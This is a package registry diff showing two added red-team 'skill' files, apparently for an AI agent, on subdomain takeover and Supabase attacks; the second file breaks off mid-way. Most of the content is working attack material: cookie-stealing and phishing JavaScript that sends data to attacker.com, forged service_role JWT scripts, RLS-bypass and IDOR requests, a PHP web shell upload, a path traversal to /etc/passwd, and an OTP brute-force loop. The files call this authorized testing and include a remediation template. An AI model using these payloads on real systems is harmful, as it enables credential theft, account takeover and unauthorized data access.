rtexit-method 0.1.9 → 0.1.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json
CHANGED
|
@@ -0,0 +1,307 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-subdomain-takeover
|
|
3
|
+
description: "Subdomain takeover skill for authorized engagements. Identifying dangling CNAME records pointing to unclaimed services, takeover on GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, Shopify, and 50+ other platforms, DNS hijacking via expired domains, NS takeover for full zone control, automated scanning with Subzy and Nuclei, and impact demonstration via cookie theft and phishing. Use after subdomain enumeration to identify high-impact unclaimed subdomains."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-subdomain-takeover — Subdomain Takeover
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Subdomain takeover occurs when a subdomain has a CNAME record pointing to an external service that no longer exists or is unclaimed. An attacker claims that service, hosts malicious content under the company's subdomain, and can steal cookies, run phishing, bypass CSP, or conduct further attacks under a trusted domain.
|
|
11
|
+
|
|
12
|
+
**Impact:**
|
|
13
|
+
- Serve malicious content under `trusted-corp.com` subdomain
|
|
14
|
+
- Steal cookies scoped to `.corp.com` (if HttpOnly not set)
|
|
15
|
+
- Bypass CSP (content served from trusted origin)
|
|
16
|
+
- Send phishing emails from `mail.corp.com`
|
|
17
|
+
- Full zone control if NS record is dangling
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Discovery
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Step 1: Enumerate all subdomains (feed from rt-subdomain-enum output)
|
|
25
|
+
subfinder -d corp.com -all -silent | tee subs.txt
|
|
26
|
+
amass enum -passive -d corp.com -o subs-amass.txt
|
|
27
|
+
cat subs*.txt | sort -u > all-subs.txt
|
|
28
|
+
|
|
29
|
+
# Step 2: Check CNAME records for each subdomain
|
|
30
|
+
while read sub; do
|
|
31
|
+
cname=$(dig CNAME +short $sub)
|
|
32
|
+
if [ -n "$cname" ]; then
|
|
33
|
+
echo "$sub → $cname"
|
|
34
|
+
fi
|
|
35
|
+
done < all-subs.txt | tee cname-map.txt
|
|
36
|
+
|
|
37
|
+
# Step 3: Check if CNAME target exists / is claimed
|
|
38
|
+
while IFS=' → ' read sub cname; do
|
|
39
|
+
# Check if CNAME target resolves
|
|
40
|
+
if ! dig +short $cname | grep -q '[0-9]'; then
|
|
41
|
+
echo "[DANGLING] $sub → $cname"
|
|
42
|
+
fi
|
|
43
|
+
done < cname-map.txt
|
|
44
|
+
|
|
45
|
+
# Step 4: Check for NXDOMAIN (subdomain exists in DNS but CNAME target gone)
|
|
46
|
+
while read sub; do
|
|
47
|
+
result=$(dig +short $sub)
|
|
48
|
+
if [ -z "$result" ]; then
|
|
49
|
+
# Check if there's a CNAME that leads nowhere
|
|
50
|
+
cname=$(dig CNAME +short $sub 2>/dev/null)
|
|
51
|
+
[ -n "$cname" ] && echo "[CANDIDATE] $sub → $cname"
|
|
52
|
+
fi
|
|
53
|
+
done < all-subs.txt
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## Phase 2 — Automated Scanning
|
|
59
|
+
|
|
60
|
+
```bash
|
|
61
|
+
# Subzy — dedicated subdomain takeover scanner
|
|
62
|
+
go install github.com/LukaSikic/subzy@latest
|
|
63
|
+
subzy run --targets all-subs.txt
|
|
64
|
+
# Checks against 50+ fingerprints for vulnerable services
|
|
65
|
+
|
|
66
|
+
# Nuclei — subdomain takeover templates
|
|
67
|
+
nuclei -l all-subs.txt -t ~/nuclei-templates/http/takeovers/
|
|
68
|
+
# Covers: GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, etc.
|
|
69
|
+
|
|
70
|
+
# subjack
|
|
71
|
+
go install github.com/haccer/subjack@latest
|
|
72
|
+
subjack -w all-subs.txt -t 100 -timeout 30 -o results.txt -ssl
|
|
73
|
+
|
|
74
|
+
# Can-I-Take-Over-XYZ (reference list)
|
|
75
|
+
# https://github.com/EdOverflow/can-i-take-over-xyz
|
|
76
|
+
# Lists fingerprints and claimable status per service
|
|
77
|
+
|
|
78
|
+
# Manual check: visit subdomains with Burp + look for:
|
|
79
|
+
# "NoSuchBucket" = S3 takeover
|
|
80
|
+
# "There is no app here" = Heroku takeover
|
|
81
|
+
# "404 Not Found" on GitHub Pages
|
|
82
|
+
# "Fastly error: 404 Unknown" = Fastly takeover
|
|
83
|
+
# "azure websites" errors = Azure App Service
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## Phase 3 — Service-Specific Takeovers
|
|
89
|
+
|
|
90
|
+
### GitHub Pages
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
# Fingerprint: "There isn't a GitHub Pages site here"
|
|
94
|
+
# Check: dig CNAME sub.corp.com → corp-org.github.io
|
|
95
|
+
|
|
96
|
+
# Takeover:
|
|
97
|
+
# 1. Create GitHub account / org matching the CNAME
|
|
98
|
+
# 2. Create repo: corp-org/corp-org.github.io
|
|
99
|
+
# 3. Enable GitHub Pages
|
|
100
|
+
# 4. Add CNAME file: echo "sub.corp.com" > CNAME
|
|
101
|
+
# 5. sub.corp.com now serves your content
|
|
102
|
+
|
|
103
|
+
# Or if CNAME points to username.github.io:
|
|
104
|
+
# 1. Register GitHub username: corp-username
|
|
105
|
+
# 2. Create repo: corp-username.github.io
|
|
106
|
+
# 3. sub.corp.com → your repo
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### AWS S3
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# Fingerprint: "NoSuchBucket" or "The specified bucket does not exist"
|
|
113
|
+
# Check: dig CNAME sub.corp.com → sub.corp.com.s3.amazonaws.com
|
|
114
|
+
# or: sub.corp.com.s3-website-us-east-1.amazonaws.com
|
|
115
|
+
|
|
116
|
+
# Takeover:
|
|
117
|
+
aws s3 mb s3://sub.corp.com --region us-east-1
|
|
118
|
+
# Bucket name must EXACTLY match the subdomain
|
|
119
|
+
aws s3 website s3://sub.corp.com/ \
|
|
120
|
+
--index-document index.html \
|
|
121
|
+
--error-document error.html
|
|
122
|
+
|
|
123
|
+
# Upload malicious content
|
|
124
|
+
echo '<script>document.location="https://attacker.com?c="+document.cookie</script>' \
|
|
125
|
+
> index.html
|
|
126
|
+
aws s3 cp index.html s3://sub.corp.com/
|
|
127
|
+
|
|
128
|
+
# sub.corp.com now serves your page under corp.com's domain
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### Heroku
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
# Fingerprint: "No such app" or "herokuapps.com" CNAME
|
|
135
|
+
# CNAME: sub.corp.com → random-name-12345.herokudns.com
|
|
136
|
+
|
|
137
|
+
# Takeover:
|
|
138
|
+
heroku create random-name-12345
|
|
139
|
+
heroku domains:add sub.corp.com --app random-name-12345
|
|
140
|
+
# Deploy app to random-name-12345
|
|
141
|
+
# sub.corp.com → your Heroku app
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
### Azure App Service
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# Fingerprint: "Microsoft Azure App Service" 404
|
|
148
|
+
# CNAME: sub.corp.com → corp-app.azurewebsites.net
|
|
149
|
+
|
|
150
|
+
# Takeover:
|
|
151
|
+
az webapp create --name corp-app \
|
|
152
|
+
--resource-group myRG \
|
|
153
|
+
--plan myPlan
|
|
154
|
+
az webapp config hostname add \
|
|
155
|
+
--webapp-name corp-app \
|
|
156
|
+
--resource-group myRG \
|
|
157
|
+
--hostname sub.corp.com
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
### Netlify
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
# Fingerprint: "Not found - Request ID"
|
|
164
|
+
# CNAME: sub.corp.com → corp.netlify.app
|
|
165
|
+
|
|
166
|
+
# Takeover:
|
|
167
|
+
# 1. Create Netlify site → site settings → domain management
|
|
168
|
+
# 2. Add custom domain: sub.corp.com
|
|
169
|
+
# 3. Deploy malicious site
|
|
170
|
+
netlify deploy --prod
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
### Fastly
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
# Fingerprint: "Fastly error: 404 Unfound" or "Unknown domain"
|
|
177
|
+
# CNAME: sub.corp.com → something.fastly.net
|
|
178
|
+
|
|
179
|
+
# Takeover:
|
|
180
|
+
# Create Fastly service → add domain: sub.corp.com
|
|
181
|
+
# sub.corp.com now served by your Fastly service
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 4 — NS Record Takeover (Critical)
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# If subdomain.corp.com has NS records pointing to expired/unclaimed nameservers
|
|
190
|
+
# → attacker claims the nameservers → full DNS control for that subdomain
|
|
191
|
+
|
|
192
|
+
# Check NS records
|
|
193
|
+
dig NS sub.corp.com
|
|
194
|
+
# ns1.expired-dns-provider.com
|
|
195
|
+
# ns2.expired-dns-provider.com
|
|
196
|
+
|
|
197
|
+
# Check if provider is still active
|
|
198
|
+
whois expired-dns-provider.com | grep -i "expir"
|
|
199
|
+
# If expired/available → register it → control all DNS for sub.corp.com
|
|
200
|
+
|
|
201
|
+
# Once you control NS:
|
|
202
|
+
# → Create A records → point to attacker server
|
|
203
|
+
# → Create MX records → intercept email to @sub.corp.com
|
|
204
|
+
# → Create any record → full subdomain zone control
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
---
|
|
208
|
+
|
|
209
|
+
## Phase 5 — Impact Demonstration
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# Cookie theft (demonstrate scope)
|
|
213
|
+
# If corp.com sets cookies with Domain=.corp.com:
|
|
214
|
+
# sub.corp.com can read those cookies!
|
|
215
|
+
|
|
216
|
+
# Host on claimed subdomain:
|
|
217
|
+
cat > index.html << 'EOF'
|
|
218
|
+
<html>
|
|
219
|
+
<script>
|
|
220
|
+
// Steal .corp.com scoped cookies
|
|
221
|
+
var stolen = document.cookie;
|
|
222
|
+
fetch('https://attacker.com/log?cookies=' + encodeURIComponent(stolen));
|
|
223
|
+
|
|
224
|
+
// Demonstrate phishing capability
|
|
225
|
+
document.write('<h1>Corp.com Login Portal</h1>');
|
|
226
|
+
document.write('<form action="https://attacker.com/collect" method="POST">');
|
|
227
|
+
document.write('<input name="user" placeholder="Username"><br>');
|
|
228
|
+
document.write('<input name="pass" type="password" placeholder="Password"><br>');
|
|
229
|
+
document.write('<button>Login</button></form>');
|
|
230
|
+
</script>
|
|
231
|
+
</html>
|
|
232
|
+
EOF
|
|
233
|
+
|
|
234
|
+
# CSP bypass: if corp.com has CSP: script-src *.corp.com
|
|
235
|
+
# Loading scripts from sub.corp.com bypasses CSP completely
|
|
236
|
+
# <script src="https://sub.corp.com/evil.js"></script> ← allowed by CSP!
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## Phase 6 — Evidence Documentation
|
|
242
|
+
|
|
243
|
+
```bash
|
|
244
|
+
# Screenshot the takeover proof
|
|
245
|
+
# Show: sub.corp.com serving your content
|
|
246
|
+
|
|
247
|
+
# curl to confirm
|
|
248
|
+
curl -I https://sub.corp.com
|
|
249
|
+
# Server: your-server
|
|
250
|
+
# Content shows attacker-controlled content
|
|
251
|
+
|
|
252
|
+
# Document CNAME chain
|
|
253
|
+
dig CNAME +trace sub.corp.com
|
|
254
|
+
|
|
255
|
+
# Finding template:
|
|
256
|
+
# Title: Subdomain Takeover — sub.corp.com
|
|
257
|
+
# Severity: HIGH (cookie theft possible) / MEDIUM (content injection)
|
|
258
|
+
# CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) if cookie theft
|
|
259
|
+
# Evidence: screenshot + curl output + CNAME chain
|
|
260
|
+
# Impact: phishing under trusted domain, cookie theft, CSP bypass
|
|
261
|
+
# Remediation: remove dangling DNS record OR re-claim the service
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## Most Vulnerable Services (Quick Reference)
|
|
267
|
+
|
|
268
|
+
```
|
|
269
|
+
Service Fingerprint Claimable
|
|
270
|
+
─────────────────────────────────────────────────────────────────────────
|
|
271
|
+
GitHub Pages "There isn't a GitHub Pages site here" ✅ Yes
|
|
272
|
+
AWS S3 "NoSuchBucket" ✅ Yes
|
|
273
|
+
Heroku "No such app" ✅ Yes
|
|
274
|
+
Azure App Service Azure 404 page ✅ Yes
|
|
275
|
+
Netlify "Not found - Request ID" ✅ Yes
|
|
276
|
+
Fastly "Fastly error: 404 Unfound" ✅ Yes
|
|
277
|
+
Shopify "Sorry, this shop is currently..." ✅ Yes
|
|
278
|
+
Tumblr "There's nothing here" ✅ Yes
|
|
279
|
+
WordPress.com "Do you want to register..." ✅ Yes
|
|
280
|
+
Ghost "The thing you were looking for..." ✅ Yes
|
|
281
|
+
Surge.sh "project not found" ✅ Yes
|
|
282
|
+
Bitbucket "Repository not found" ✅ Yes
|
|
283
|
+
Zendesk "Help Center Closed" ✅ Yes
|
|
284
|
+
Freshdesk "We could not find what..." ⚠️ Limited
|
|
285
|
+
Desk.com (Salesforce) "Please try again" ✅ Yes
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
---
|
|
289
|
+
|
|
290
|
+
## Skill Levels
|
|
291
|
+
|
|
292
|
+
**BEGINNER:** subfinder + subzy automated scan → identify candidates → manual verification
|
|
293
|
+
|
|
294
|
+
**INTERMEDIATE:** GitHub Pages / S3 takeover PoC → cookie theft demonstration
|
|
295
|
+
|
|
296
|
+
**ADVANCED:** NS takeover → full zone control → MX takeover for email interception
|
|
297
|
+
|
|
298
|
+
**EXPERT:** Chained attack: takeover → CSP bypass → XSS on main domain → account takeover
|
|
299
|
+
|
|
300
|
+
---
|
|
301
|
+
|
|
302
|
+
## References
|
|
303
|
+
|
|
304
|
+
- Can-I-Take-Over-XYZ: https://github.com/EdOverflow/can-i-take-over-xyz
|
|
305
|
+
- Subzy: https://github.com/LukaSikic/subzy
|
|
306
|
+
- Nuclei takeover templates: https://github.com/projectdiscovery/nuclei-templates
|
|
307
|
+
- MITRE T1584.001: https://attack.mitre.org/techniques/T1584/001/
|
|
@@ -0,0 +1,402 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-supabase
|
|
3
|
+
description: "Supabase security testing skill for authorized engagements. Row-Level Security (RLS) policy bypass, anon key abuse for unauthorized data access, service role key exposure, PostgREST API horizontal privilege escalation, JWT manipulation for role escalation, schema disclosure via introspection, Supabase Storage bucket misconfiguration, Realtime channel eavesdropping, Edge Function exploitation, and auth bypass techniques. Use when engagement scope includes Supabase-backed applications."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-supabase — Supabase Security Testing
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Supabase is an open-source Firebase alternative built on PostgreSQL, PostgREST, GoTrue auth, and Realtime. Its architecture creates unique attack surfaces: the `anon` key is intentionally public but often misconfigured, RLS policies have logical gaps, and the PostgREST API exposes the entire database schema by default. A single misconfiguration can expose all user data.
|
|
11
|
+
|
|
12
|
+
**Attack surfaces:**
|
|
13
|
+
- PostgREST REST API (direct DB access)
|
|
14
|
+
- Row-Level Security (RLS) policy bypass
|
|
15
|
+
- JWT role escalation (anon → authenticated → service_role)
|
|
16
|
+
- Supabase Storage (public/private buckets)
|
|
17
|
+
- Realtime subscriptions (unauthorized channel access)
|
|
18
|
+
- Edge Functions (serverless function exploitation)
|
|
19
|
+
- Auth endpoints (GoTrue authentication bypass)
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Phase 1 — Discovery & Enumeration
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
# Supabase URL pattern: https://PROJECT_ID.supabase.co
|
|
27
|
+
# Find project ID from source code, network requests, JS bundles
|
|
28
|
+
|
|
29
|
+
# Fingerprint Supabase
|
|
30
|
+
curl -I https://PROJECT_ID.supabase.co/rest/v1/
|
|
31
|
+
# Returns: X-Powered-By: PostgREST
|
|
32
|
+
|
|
33
|
+
# Extract anon key from JS bundle (it's meant to be public but often over-privileged)
|
|
34
|
+
grep -r "supabaseKey\|SUPABASE_ANON_KEY\|supabase_anon_key\|eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" \
|
|
35
|
+
./js_files/
|
|
36
|
+
|
|
37
|
+
# Anon key is a JWT — decode to understand permissions
|
|
38
|
+
echo "ANON_KEY" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
|
|
39
|
+
# Payload: {"role": "anon", "iss": "supabase", ...}
|
|
40
|
+
|
|
41
|
+
# Discover all exposed tables via PostgREST introspection
|
|
42
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/" \
|
|
43
|
+
-H "apikey: ANON_KEY" \
|
|
44
|
+
-H "Authorization: Bearer ANON_KEY"
|
|
45
|
+
# Returns: OpenAPI spec listing ALL tables and their columns
|
|
46
|
+
|
|
47
|
+
# Or via OPTIONS request
|
|
48
|
+
curl -X OPTIONS "https://PROJECT_ID.supabase.co/rest/v1/" \
|
|
49
|
+
-H "apikey: ANON_KEY" | python3 -m json.tool
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## Phase 2 — RLS Bypass Techniques
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
# RLS (Row-Level Security) controls which rows each user can access
|
|
58
|
+
# Misconfigured RLS = read/write other users' data
|
|
59
|
+
|
|
60
|
+
# Test 1: Table with no RLS at all
|
|
61
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/users" \
|
|
62
|
+
-H "apikey: ANON_KEY" \
|
|
63
|
+
-H "Authorization: Bearer ANON_KEY"
|
|
64
|
+
# If returns all users → RLS not enabled on this table
|
|
65
|
+
|
|
66
|
+
# Test 2: RLS enabled but policy is too permissive
|
|
67
|
+
# Common bad policy: "FOR SELECT USING (true)" = everyone can read everything
|
|
68
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/profiles?select=*" \
|
|
69
|
+
-H "apikey: ANON_KEY" \
|
|
70
|
+
-H "Authorization: Bearer ANON_KEY"
|
|
71
|
+
|
|
72
|
+
# Test 3: RLS policy checks auth.uid() but not properly
|
|
73
|
+
# Log in as User A → try to access User B's data by manipulating filters
|
|
74
|
+
TOKEN_A="JWT_OF_USER_A"
|
|
75
|
+
# Normal: /rest/v1/orders?user_id=eq.USER_A_ID → returns A's orders
|
|
76
|
+
# Attack: /rest/v1/orders?user_id=eq.USER_B_ID → should be blocked by RLS
|
|
77
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/orders?user_id=eq.USER_B_ID" \
|
|
78
|
+
-H "apikey: ANON_KEY" \
|
|
79
|
+
-H "Authorization: Bearer $TOKEN_A"
|
|
80
|
+
# If returns B's orders → IDOR via RLS bypass
|
|
81
|
+
|
|
82
|
+
# Test 4: RLS on main table but not on joined/related tables
|
|
83
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/orders?select=*,user_profiles(*)" \
|
|
84
|
+
-H "apikey: ANON_KEY" \
|
|
85
|
+
-H "Authorization: Bearer $TOKEN_A"
|
|
86
|
+
# user_profiles may not have RLS → exposed via JOIN
|
|
87
|
+
|
|
88
|
+
# Test 5: RLS bypass via Postgres functions (SECURITY DEFINER)
|
|
89
|
+
# Functions marked SECURITY DEFINER run as function owner, bypass RLS
|
|
90
|
+
# Find exposed RPC endpoints:
|
|
91
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/rpc/" \
|
|
92
|
+
-H "apikey: ANON_KEY"
|
|
93
|
+
# Call functions that might bypass RLS
|
|
94
|
+
curl -X POST "https://PROJECT_ID.supabase.co/rest/v1/rpc/get_all_users" \
|
|
95
|
+
-H "apikey: ANON_KEY" \
|
|
96
|
+
-H "Authorization: Bearer ANON_KEY" \
|
|
97
|
+
-H "Content-Type: application/json" \
|
|
98
|
+
-d '{}'
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
---
|
|
102
|
+
|
|
103
|
+
## Phase 3 — JWT Role Escalation
|
|
104
|
+
|
|
105
|
+
```bash
|
|
106
|
+
# Supabase JWT roles: anon < authenticated < service_role
|
|
107
|
+
# service_role bypasses ALL RLS — full database access
|
|
108
|
+
|
|
109
|
+
# Step 1: Find the JWT secret
|
|
110
|
+
# Secret is used to sign tokens — if weak or leaked → forge tokens
|
|
111
|
+
# Check: source code, .env files, GitHub repos
|
|
112
|
+
grep -r "SUPABASE_JWT_SECRET\|jwt_secret\|JWT_SECRET" . --include="*.env*"
|
|
113
|
+
trufflehog github --org=TARGET_ORG | grep -i "supabase\|jwt"
|
|
114
|
+
|
|
115
|
+
# Step 2: Forge service_role JWT (if secret known)
|
|
116
|
+
python3 << 'EOF'
|
|
117
|
+
import jwt, time
|
|
118
|
+
|
|
119
|
+
# If you found the JWT secret
|
|
120
|
+
secret = "FOUND_JWT_SECRET"
|
|
121
|
+
|
|
122
|
+
# Forge service_role token
|
|
123
|
+
payload = {
|
|
124
|
+
"iss": "supabase",
|
|
125
|
+
"ref": "PROJECT_ID",
|
|
126
|
+
"role": "service_role",
|
|
127
|
+
"iat": int(time.time()),
|
|
128
|
+
"exp": int(time.time()) + 86400
|
|
129
|
+
}
|
|
130
|
+
token = jwt.encode(payload, secret, algorithm="HS256")
|
|
131
|
+
print(f"service_role token: {token}")
|
|
132
|
+
EOF
|
|
133
|
+
|
|
134
|
+
# Step 3: Use service_role token → bypasses all RLS
|
|
135
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/users?select=*" \
|
|
136
|
+
-H "apikey: FORGED_SERVICE_ROLE_TOKEN" \
|
|
137
|
+
-H "Authorization: Bearer FORGED_SERVICE_ROLE_TOKEN"
|
|
138
|
+
# Returns ALL users with no RLS filtering
|
|
139
|
+
|
|
140
|
+
# Step 4: Role claim manipulation in user JWT
|
|
141
|
+
# If app doesn't validate role claim server-side:
|
|
142
|
+
python3 << 'EOF'
|
|
143
|
+
import jwt, time
|
|
144
|
+
|
|
145
|
+
# Take existing anon token and modify role
|
|
146
|
+
# (Only works if secret is known or JWT not properly verified)
|
|
147
|
+
secret = "FOUND_SECRET"
|
|
148
|
+
payload = {
|
|
149
|
+
"iss": "supabase",
|
|
150
|
+
"ref": "PROJECT_ID",
|
|
151
|
+
"role": "authenticated", # Upgrade from anon
|
|
152
|
+
"sub": "00000000-0000-0000-0000-000000000001", # admin user UUID
|
|
153
|
+
"email": "admin@corp.com",
|
|
154
|
+
"iat": int(time.time()),
|
|
155
|
+
"exp": int(time.time()) + 86400
|
|
156
|
+
}
|
|
157
|
+
token = jwt.encode(payload, secret, algorithm="HS256")
|
|
158
|
+
print(token)
|
|
159
|
+
EOF
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
---
|
|
163
|
+
|
|
164
|
+
## Phase 4 — PostgREST API Exploitation
|
|
165
|
+
|
|
166
|
+
```bash
|
|
167
|
+
# PostgREST exposes full CRUD on all tables (subject to RLS)
|
|
168
|
+
# Test all HTTP methods
|
|
169
|
+
|
|
170
|
+
# Read all data
|
|
171
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE_NAME?select=*" \
|
|
172
|
+
-H "apikey: ANON_KEY" \
|
|
173
|
+
-H "Authorization: Bearer USER_TOKEN"
|
|
174
|
+
|
|
175
|
+
# Write / create records (if INSERT policy misconfigured)
|
|
176
|
+
curl -X POST "https://PROJECT_ID.supabase.co/rest/v1/TABLE_NAME" \
|
|
177
|
+
-H "apikey: ANON_KEY" \
|
|
178
|
+
-H "Authorization: Bearer USER_TOKEN" \
|
|
179
|
+
-H "Content-Type: application/json" \
|
|
180
|
+
-d '{"user_id": "OTHER_USER_UUID", "data": "injected"}'
|
|
181
|
+
|
|
182
|
+
# Update other users' records (if UPDATE policy misconfigured)
|
|
183
|
+
curl -X PATCH "https://PROJECT_ID.supabase.co/rest/v1/profiles?id=eq.OTHER_USER_ID" \
|
|
184
|
+
-H "apikey: ANON_KEY" \
|
|
185
|
+
-H "Authorization: Bearer MY_TOKEN" \
|
|
186
|
+
-H "Content-Type: application/json" \
|
|
187
|
+
-d '{"role": "admin"}'
|
|
188
|
+
|
|
189
|
+
# Delete records
|
|
190
|
+
curl -X DELETE "https://PROJECT_ID.supabase.co/rest/v1/TABLE?id=eq.VICTIM_ID" \
|
|
191
|
+
-H "apikey: ANON_KEY" \
|
|
192
|
+
-H "Authorization: Bearer MY_TOKEN"
|
|
193
|
+
|
|
194
|
+
# PostgREST column selection — try to access hidden columns
|
|
195
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/users?select=id,email,password,raw_user_meta_data" \
|
|
196
|
+
-H "apikey: ANON_KEY"
|
|
197
|
+
|
|
198
|
+
# Filter bypass — access all rows
|
|
199
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE?select=*&limit=1000" \
|
|
200
|
+
-H "apikey: ANON_KEY"
|
|
201
|
+
|
|
202
|
+
# Full-text search for sensitive data
|
|
203
|
+
curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE?content=fts.password" \
|
|
204
|
+
-H "apikey: ANON_KEY"
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
---
|
|
208
|
+
|
|
209
|
+
## Phase 5 — Storage Bucket Attacks
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# Supabase Storage: S3-compatible object storage
|
|
213
|
+
# Buckets can be public or private (private requires RLS)
|
|
214
|
+
|
|
215
|
+
# List all buckets
|
|
216
|
+
curl "https://PROJECT_ID.supabase.co/storage/v1/bucket" \
|
|
217
|
+
-H "apikey: ANON_KEY" \
|
|
218
|
+
-H "Authorization: Bearer ANON_KEY"
|
|
219
|
+
|
|
220
|
+
# List files in a bucket
|
|
221
|
+
curl "https://PROJECT_ID.supabase.co/storage/v1/object/list/BUCKET_NAME" \
|
|
222
|
+
-H "apikey: ANON_KEY" \
|
|
223
|
+
-H "Authorization: Bearer ANON_KEY" \
|
|
224
|
+
-H "Content-Type: application/json" \
|
|
225
|
+
-d '{"prefix": "", "limit": 100}'
|
|
226
|
+
|
|
227
|
+
# Download files from public bucket (no auth needed)
|
|
228
|
+
curl "https://PROJECT_ID.supabase.co/storage/v1/object/public/BUCKET/file.pdf"
|
|
229
|
+
|
|
230
|
+
# Download from private bucket (if RLS misconfigured)
|
|
231
|
+
curl "https://PROJECT_ID.supabase.co/storage/v1/object/authenticated/BUCKET/private.pdf" \
|
|
232
|
+
-H "apikey: ANON_KEY" \
|
|
233
|
+
-H "Authorization: Bearer ANON_KEY"
|
|
234
|
+
|
|
235
|
+
# Path traversal in storage
|
|
236
|
+
curl "https://PROJECT_ID.supabase.co/storage/v1/object/public/BUCKET/../../../etc/passwd"
|
|
237
|
+
|
|
238
|
+
# Upload to bucket (if insert policy open)
|
|
239
|
+
curl -X POST "https://PROJECT_ID.supabase.co/storage/v1/object/BUCKET/shell.php" \
|
|
240
|
+
-H "apikey: ANON_KEY" \
|
|
241
|
+
-H "Authorization: Bearer USER_TOKEN" \
|
|
242
|
+
-H "Content-Type: application/octet-stream" \
|
|
243
|
+
--data-binary "<?php system(\$_GET['c']); ?>"
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
---
|
|
247
|
+
|
|
248
|
+
## Phase 6 — Auth Bypass (GoTrue)
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
# GoTrue handles Supabase authentication
|
|
252
|
+
# Test for auth vulnerabilities
|
|
253
|
+
|
|
254
|
+
# User enumeration via password reset
|
|
255
|
+
curl -X POST "https://PROJECT_ID.supabase.co/auth/v1/recover" \
|
|
256
|
+
-H "apikey: ANON_KEY" \
|
|
257
|
+
-H "Content-Type: application/json" \
|
|
258
|
+
-d '{"email": "victim@corp.com"}'
|
|
259
|
+
# Different response for existing vs non-existing email = enumeration
|
|
260
|
+
|
|
261
|
+
# Sign up with existing email (check error message)
|
|
262
|
+
curl -X POST "https://PROJECT_ID.supabase.co/auth/v1/signup" \
|
|
263
|
+
-H "apikey: ANON_KEY" \
|
|
264
|
+
-H "Content-Type: application/json" \
|
|
265
|
+
-d '{"email": "admin@corp.com", "password": "test123"}'
|
|
266
|
+
|
|
267
|
+
# OTP brute force (if rate limiting weak)
|
|
268
|
+
for code in $(seq -w 000000 999999); do
|
|
269
|
+
r=$(curl -s -X POST "https://PROJECT_ID.supabase.co/auth/v1/verify" \
|
|
270
|
+
-H "apikey: ANON_KEY" \
|
|
271
|
+
-H "Content-Type: application/json" \
|
|
272
|
+
-d "{\"type\":\"recovery\",\"token\":\"$code\",\"email\":\"victim@corp.com\"}")
|
|
273
|
+
echo "$code: $r" | grep -v "Token has expired"
|
|
274
|
+
done
|
|
275
|
+
|
|
276
|
+
# OAuth provider misconfiguration
|
|
277
|
+
# Check which providers are enabled
|
|
278
|
+
curl "https://PROJECT_ID.supabase.co/auth/v1/settings" \
|
|
279
|
+
-H "apikey: ANON_KEY"
|
|
280
|
+
|
|
281
|
+
# Admin API (requires service_role)
|
|
282
|
+
curl "https://PROJECT_ID.supabase.co/auth/v1/admin/users" \
|
|
283
|
+
-H "apikey: SERVICE_ROLE_KEY" # If service_role key found → dump all users
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
